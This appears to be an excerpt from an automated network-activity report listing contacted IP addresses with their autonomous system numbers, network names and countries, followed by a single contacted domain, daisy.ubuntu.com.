132883 TOPWAY-AS-APTOPWAYGLOBALLIMITEDHK false
84.58.132.170
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
142.78.53.46
 unknown Canada
2665 CDAGOVNCA false
184.249.57.108
 unknown United States
10507 SPCSUS false
87.68.8.165
 unknown Israel
9116 GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste false
189.6.48.81
 unknown Brazil
28573 CLAROSABR false
64.233.155.242
 unknown United States
23404 RITTERNETUS false
194.64.149.57
 unknown Germany
4589 EASYNETEasynetGlobalServicesEU false
108.77.72.208
 unknown United States
7018 ATT-INTERNET4US false
201.220.113.52
 unknown Chile
14117 TelefonicadelSurSACL false
66.168.32.129
 unknown United States
20115 CHARTER-20115US false
147.50.81.215
 unknown Thailand
4750 CSLOXINFO-AS-APCSLOXINFOPUBLICCOMPANYLIMITEDTH false
158.90.212.101
 unknown Finland
29282 ENFO-FI-ASROUTINGPOLICYFI false
192.156.4.203
 unknown United States
721 DNIC-ASBLK-00721-00726US false
29.143.141.144
 unknown United States
7922 COMCAST-7922US false
214.73.239.76
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
63.37.215.216
 unknown United States
3356 LEVEL3US false
114.149.106.206
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
26.150.58.79
 unknown United States
7922 COMCAST-7922US false
132.223.146.205
 unknown United States
17516 NTTCOMWARENTTCOMWARECORPORATIONJP false
84.45.63.111
 unknown United Kingdom
56990 SYSCOMMGB false
97.152.255.40
 unknown United States
6167 CELLCO-PARTUS false
140.28.94.52
 unknown United States
23700 FASTNET-AS-IDLinknet-FastnetASNID false
40.118.167.126
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true